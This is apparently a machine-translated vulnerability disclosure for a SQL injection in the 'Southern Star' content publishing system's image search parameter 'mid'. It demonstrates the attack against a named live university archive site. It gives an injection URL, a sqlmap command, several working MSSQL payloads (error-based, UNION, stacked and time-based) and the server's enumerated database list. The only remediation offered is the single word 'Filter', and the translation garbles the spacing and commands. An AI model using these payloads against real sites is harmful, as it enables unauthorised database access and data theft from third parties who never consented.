Southern Star information publishing system SQL Injection Vulnerability

Southern Star information publishing system SQL Injection Vulnerability

Nanda star content publishing system has the SQL injection vulnerability in image search.

Injection link:/pub/search/search_graph.asp? Id = 2 & mid = 34

Injection parameter: mid

----------------------------------------------
 

Use http://archives.hrbeu.edu.cn/pub/as a demonstration case:

Test link:

Http://archives.hrbeu.edu.cn/pub/search/search_graph.asp? Id = 2 & mid = 34

1 )? Error injection:

Http://archives.hrbeu.edu.cn/pub/search/search_graph.asp? Id = 2 & mid = 34% 20and % 201 = @ version

2) sqlmap Injection

$ Py sqlmap. py-u 'HTTP: // archives.hrbeu.edu.cn/pub/search/search_graph.asp? Id = 2 & mid = 34 '-p mid -- level 5 -- dbs-v 0



Sqlmap/1.0-dev-automatic SQL injection and database takeover tool

Http://sqlmap.org



[!] Legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsi



[*] Starting at 23:49:09



Sqlmap identified the following injection points with a total of 0 HTTP (s) requests:

---

Place: GET

Parameter: mid

Type: boolean-based blind

Title: Generic boolean-based blind-Parameter replace (original value)

Payload: id = 2 & mid = (SELECT (case when (8997 = 8997) THEN 34 ELSE 1/(SELECT 0) END ))



Type: error-based

Title: Microsoft SQL Server/Sybase AND error-based-WHERE or HAVING clause

Payload: id = 2 & mid = 34 AND 6859 = CONVERT (INT, (select char (113) + CHAR (122) + CHAR (104) + CHAR (99) + CHAR (113) + (SELECT (case when (6859 = 68



Type: UNION query

Title: Generic UNION query (NULL)-26 columns

Payload: id = 2 & mid = 34 union all select null, NULL, NUL



Type: stacked queries

Title: Microsoft SQL Server/Sybase stacked queries

Payload: id = 2 & mid = 34; waitfor delay '0: 0: 5 '--



Type: AND/OR time-based blind

Title: Microsoft SQL Server/Sybase time-based blind

Payload: id = 2 & mid = 34 waitfor delay '0: 0: 5 '--



Type: inline query

Title: Microsoft SQL Server/Sybase inline queries

Payload: id = 2 & mid = (select char (113) + CHAR (122) + CHAR (104) + CHAR (99) + CHAR (113) + (SELECT (case when (9457 = 9457) then char (49) ELSE C

---

Web server operating system: Windows 2003 or XP

Web application technology: Microsoft IIS 6.0, ASP

Back-end DBMS: Microsoft SQL Server 2000

Available databases [12]:

[*] Archives

[*] BEDB

[*] CeShiFaBu

[*] Foxcj

[*] Master

[*] MetaNet_Photo

[*] Model

[*] Msdb

[*] Northwind

[*] Pubs

[*] Serverdbbk

[*] Tempdb
 

 

 

Solution:

Filter